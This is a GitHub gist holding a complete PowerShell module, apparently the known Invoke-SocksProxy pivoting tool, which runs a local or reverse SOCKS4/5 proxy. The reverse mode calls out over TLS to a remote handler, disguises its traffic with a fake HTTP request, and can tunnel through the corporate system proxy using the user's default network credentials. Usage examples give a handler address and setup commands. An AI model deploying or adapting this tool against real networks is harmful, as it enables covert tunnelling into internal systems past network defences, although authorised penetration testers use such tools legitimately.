Skip to content

Instantly share code, notes, and snippets.

@lostsh
Created November 6, 2023 16:37
Show Gist options
  • Save lostsh/9c2c1f6fcfb5b9e729af9034baedef50 to your computer and use it in GitHub Desktop.
Save lostsh/9c2c1f6fcfb5b9e729af9034baedef50 to your computer and use it in GitHub Desktop.
Reverse proxy powershell by p3nt4
<#
.SYNOPSIS
Powershell Socks Proxy
Author: p3nt4 (https://twitter.com/xP3nt4)
License: MIT
.DESCRIPTION
Creates a local or "reverse" Socks proxy using powershell.
Supports both Socks4 and Socks5 connections.
This is only a subset of the Socks 4 and 5 protocols: It does not support authentication, It does not support UDP or bind requests.
New features will be implemented in the future. PRs are welcome.
.EXAMPLE_LOCAL
# Create a Socks proxy on port 1234:
Invoke-SocksProxy -bindPort 1234
# Change the number of threads from 200 to 400:
Invoke-SocksProxy -bindPort 1234 -threads 400
.EXAMPLE_REVERSE
# On the remote host:
# Generate a private key and self signed cert
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout private.key -out cert.pem
# Get the certificate fingerprint to verify it:
openssl x509 -in cert.pem -noout -sha1 -fingerprint | cut -d "=" -f 2 | tr -d ":"
# Start the handler
python ReverseSocksProxyHandler.py 443 1080 ./cert.pem ./private.key
# On the local host:
Import-Module .\Invoke-SocksProxy.psm1
Invoke-ReverseSocksProxy -remotePort 443 -remoteHost 192.168.49.130
# Go through the system proxy:
Invoke-ReverseSocksProxy -remotePort 443 -remoteHost 192.168.49.130 -useSystemProxy
# Validate certificate
Invoke-ReverseSocksProxy -remotePort 443 -remoteHost 192.168.49.130 -certFingerprint '93061FDB30D69A435ACF96430744C5CC5473D44E'
# Give up after a number of failed connections to the handler:
Invoke-ReverseSocksProxy -remotePort 443 -remoteHost 192.168.49.130 -maxRetries 10
#>
[ScriptBlock]$SocksConnectionMgr = {
param($vars)
$Script = {
param($vars)
$vars.inStream.CopyTo($vars.outStream)
Exit
}
$rsp=$vars.rsp;
function Get-IpAddress{
param($ip)
IF ($ip -as [ipaddress]){
return $ip
}else{
$ip2 = [System.Net.Dns]::GetHostAddresses($ip)[0].IPAddressToString;
}
return $ip2
}
$client=$vars.cliConnection
$buffer = New-Object System.Byte[] 32
try
{
$cliStream = $vars.cliStream
$cliStream.Read($buffer,0,2) | Out-Null
$socksVer=$buffer[0]
if ($socksVer -eq 5){
$cliStream.Read($buffer,2,$buffer[1]) | Out-Null
for ($i=2; $i -le $buffer[1]+1; $i++) {
if ($buffer[$i] -eq 0) {break}
}
if ($buffer[$i] -ne 0){
$buffer[1]=255
$cliStream.Write($buffer,0,2)
}else{
$buffer[1]=0
$cliStream.Write($buffer,0,2)
}
$cliStream.Read($buffer,0,4) | Out-Null
$cmd = $buffer[1]
$atyp = $buffer[3]
if($cmd -ne 1){
$buffer[1] = 7
$cliStream.Write($buffer,0,2)
throw "Not a connect"
}
if($atyp -eq 1){
$ipv4 = New-Object System.Byte[] 4
$cliStream.Read($ipv4,0,4) | Out-Null
$ipAddress = New-Object System.Net.IPAddress(,$ipv4)
$hostName = $ipAddress.ToString()
}elseif($atyp -eq 3){
$cliStream.Read($buffer,4,1) | Out-Null
$hostBuff = New-Object System.Byte[] $buffer[4]
$cliStream.Read($hostBuff,0,$buffer[4]) | Out-Null
$hostName = [System.Text.Encoding]::ASCII.GetString($hostBuff)
}
else{
$buffer[1] = 8
$cliStream.Write($buffer,0,2)
throw "Not a valid destination address"
}
$cliStream.Read($buffer,4,2) | Out-Null
$destPort = $buffer[4]*256 + $buffer[5]
$destHost = Get-IpAddress($hostName)
if($destHost -eq $null){
$buffer[1]=4
$cliStream.Write($buffer,0,2)
throw "Cant resolve destination address"
}
$tmpServ = New-Object System.Net.Sockets.TcpClient($destHost, $destPort)
if($tmpServ.Connected){
$buffer[1]=0
$buffer[3]=1
$buffer[4]=0
$buffer[5]=0
$cliStream.Write($buffer,0,10)
$cliStream.Flush()
$srvStream = $tmpServ.GetStream()
$AsyncJobResult2 = $srvStream.CopyToAsync($cliStream)
$AsyncJobResult = $cliStream.CopyToAsync($srvStream)
$AsyncJobResult.AsyncWaitHandle.WaitOne();
$AsyncJobResult2.AsyncWaitHandle.WaitOne();
}
else{
$buffer[1]=4
$cliStream.Write($buffer,0,2)
throw "Cant connect to host"
}
}elseif($socksVer -eq 4){
$cmd = $buffer[1]
if($cmd -ne 1){
$buffer[0] = 0
$buffer[1] = 91
$cliStream.Write($buffer,0,2)
throw "Not a connect"
}
$cliStream.Read($buffer,2,2) | Out-Null
$destPort = $buffer[2]*256 + $buffer[3]
$ipv4 = New-Object System.Byte[] 4
$cliStream.Read($ipv4,0,4) | Out-Null
$destHost = New-Object System.Net.IPAddress(,$ipv4)
$buffer[0]=1
while ($buffer[0] -ne 0){
$cliStream.Read($buffer,0,1)
}
$tmpServ = New-Object System.Net.Sockets.TcpClient($destHost, $destPort)
if($tmpServ.Connected){
$buffer[0]=0
$buffer[1]=90
$buffer[2]=0
$buffer[3]=0
$cliStream.Write($buffer,0,8)
$cliStream.Flush()
$srvStream = $tmpServ.GetStream()
$AsyncJobResult2 = $srvStream.CopyToAsync($cliStream)
$AsyncJobResult = $cliStream.CopyTo($srvStream)
$AsyncJobResult.AsyncWaitHandle.WaitOne();
$AsyncJobResult2.AsyncWaitHandle.WaitOne();
}
}else{
throw "Unknown socks version"
}
}
catch {
#$_ >> "error.log"
}
finally {
if ($client -ne $null) {
$client.Dispose()
}
if ($tmpServ -ne $null) {
$tmpServ.Dispose()
}
Exit;
}
}
function Invoke-SocksProxy{
param (
[String]$bindIP = "0.0.0.0",
[Int]$bindPort = 1080,
[Int]$threads = 200
)
try{
$listener = new-object System.Net.Sockets.TcpListener([System.Net.IPAddress]::Parse($bindIP), $bindPort)
$listener.start()
$rsp = [runspacefactory]::CreateRunspacePool(1,$threads);
$rsp.CleanupInterval = New-TimeSpan -Seconds 30;
$rsp.open();
write-host "Listening on port $bindPort..."
while($true){
$client = $listener.AcceptTcpClient()
$cliStream = $client.GetStream()
Write-Host "New Connection from " $client.Client.RemoteEndPoint
$vars = [PSCustomObject]@{"cliConnection"=$client; "rsp"=$rsp; "cliStream" = $cliStream}
$PS3 = [PowerShell]::Create()
$PS3.RunspacePool = $rsp;
$PS3.AddScript($SocksConnectionMgr).AddArgument($vars) | Out-Null
$PS3.BeginInvoke() | Out-Null
Write-Host "Threads Left:" $rsp.GetAvailableRunspaces()
}
}
catch{
throw $_
}
finally{
write-host "Server closed."
if ($listener -ne $null) {
$listener.Stop()
}
if ($client -ne $null) {
$client.Dispose()
$client = $null
}
if ($PS3 -ne $null -and $AsyncJobResult3 -ne $null) {
$PS3.EndInvoke($AsyncJobResult3) | Out-Null
$PS3.Runspace.Close()
$PS3.Dispose()
}
}
}
# Credit to Arno0x for this technique
function getProxyConnection{
param (
[String]$remoteHost,
[Int]$remotePort
)
#Sleep -Milliseconds 500
$request = [System.Net.HttpWebRequest]::Create("http://" + $remoteHost + ":" + $remotePort )
$request.Method = "CONNECT";
$proxy = [System.Net.WebRequest]::GetSystemWebProxy();
$proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;
$request.Proxy = $proxy;
$request.timeout = 1000;
$serverResponse = $request.GetResponse();
$request.timeout = 100000;
$responseStream = $serverResponse.GetResponseStream()
$BindingFlags= [Reflection.BindingFlags] "NonPublic,Instance"
$rsType = $responseStream.GetType()
$connectionProperty = $rsType.GetProperty("Connection", $BindingFlags)
$connection = $connectionProperty.GetValue($responseStream, $null)
$connectionType = $connection.GetType()
$networkStreamProperty = $connectionType.GetProperty("NetworkStream", $BindingFlags)
$serverStream = $networkStreamProperty.GetValue($connection, $null)
return $connection, $serverStream
}
## EXPERIMENTAL.....
function Invoke-ReverseSocksProxy{
param (
[String]$remoteHost = "127.0.0.1",
[Int]$remotePort = 1080,
[Switch]$useSystemProxy = $false,
[String]$certFingerprint = "",
[Int]$threads = 200,
[Int]$maxRetries = 0
)
try{
$currentTry = 0;
$rsp = [runspacefactory]::CreateRunspacePool(1,$threads);
$rsp.CleanupInterval = New-TimeSpan -Seconds 30;
$rsp.open();
while($true){
Write-Host "Connecting to: " $remoteHost ":" $remotePort
try{
if($useSystemProxy -eq $false){
$client = New-Object System.Net.Sockets.TcpClient($remoteHost, $remotePort)
$cliStream_clear = $client.GetStream()
}else{
$ret = getProxyConnection -remoteHost $remoteHost -remotePort $remotePort
$client = $ret[0]
$cliStream_clear = $ret[1]
}
if($certFingerprint -eq ''){
$cliStream = New-Object System.Net.Security.SslStream($cliStream_clear,$false,({$true} -as[Net.Security.RemoteCertificateValidationCallback]));
}else{
$cliStream = New-Object System.Net.Security.SslStream($cliStream_clear,$false,({return $args[1].GetCertHashString() -eq $certFingerprint } -as[Net.Security.RemoteCertificateValidationCallback]));
}
$cliStream.AuthenticateAsClient($remoteHost)
Write-Host "Connected"
$currentTry = 0;
$buffer = New-Object System.Byte[] 32
$buffer2 = New-Object System.Byte[] 122
$FakeRequest = [System.Text.Encoding]::Default.GetBytes("GET / HTTP/1.1`nHost: "+$remoteHost+"`n`n")
$cliStream.Write($FakeRequest,0,$FakeRequest.Length)
$cliStream.ReadTimeout = 5000
$cliStream.Read($buffer2,0,122) | Out-Null
$cliStream.Read($buffer,0,5) | Out-Null
$message = [System.Text.Encoding]::ASCII.GetString($buffer)
if($message -ne "HELLO"){
throw "No Client connected";
}else{
Write-Host "Connection received"
}
$cliStream.ReadTimeout = 100000;
$vars = [PSCustomObject]@{"cliConnection"=$client; "rsp"=$rsp; "cliStream" = $cliStream}
$PS3 = [PowerShell]::Create()
$PS3.RunspacePool = $rsp;
$PS3.AddScript($SocksConnectionMgr).AddArgument($vars) | Out-Null
$PS3.BeginInvoke() | Out-Null
Write-Host "Threads Left:" $rsp.GetAvailableRunspaces()
}catch{
$currentTry = $currentTry + 1;
if (($maxRetries -ne 0) -and ($currentTry -eq $maxRetries)){
Throw "Cannot connect to handler, max Number of attempts reached, exiting";
}
if ($_.Exception.message -eq 'Exception calling "AuthenticateAsClient" with "1" argument(s): "The remote certificate is invalid according to the validation procedure."'){
throw $_
}
if ($_.Exception.message -eq 'Exception calling "AuthenticateAsClient" with "1" argument(s): "Authentication failed because the remote party has closed the transport stream."'){
sleep 5
}
if (($_.Exception.Message.Length -ge 121) -and $_.Exception.Message.substring(0,120) -eq 'Exception calling ".ctor" with "2" argument(s): "No connection could be made because the target machine actively refused'){
sleep 5
}
try{
$client.Close()
$client.Dispose()
}catch{}
sleep -Milliseconds 200
}
}
}
catch{
throw $_;
}
finally{
write-host "Server closed."
if ($client -ne $null) {
$client.Dispose()
$client = $null
}
if ($PS3 -ne $null -and $AsyncJobResult3 -ne $null) {
$PS3.EndInvoke($AsyncJobResult3) | Out-Null
$PS3.Runspace.Close()
$PS3.Dispose()
}
}
}
function Get-IpAddress{
param($ip)
IF ($ip -as [ipaddress]){
return $ip
}else{
$ip2 = [System.Net.Dns]::GetHostAddresses($ip)[0].IPAddressToString;
Write-Host "$ip resolved to $ip2"
}
return $ip2
}
export-modulemember -function Invoke-SocksProxy
export-modulemember -function Invoke-ReverseSocksProxy
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment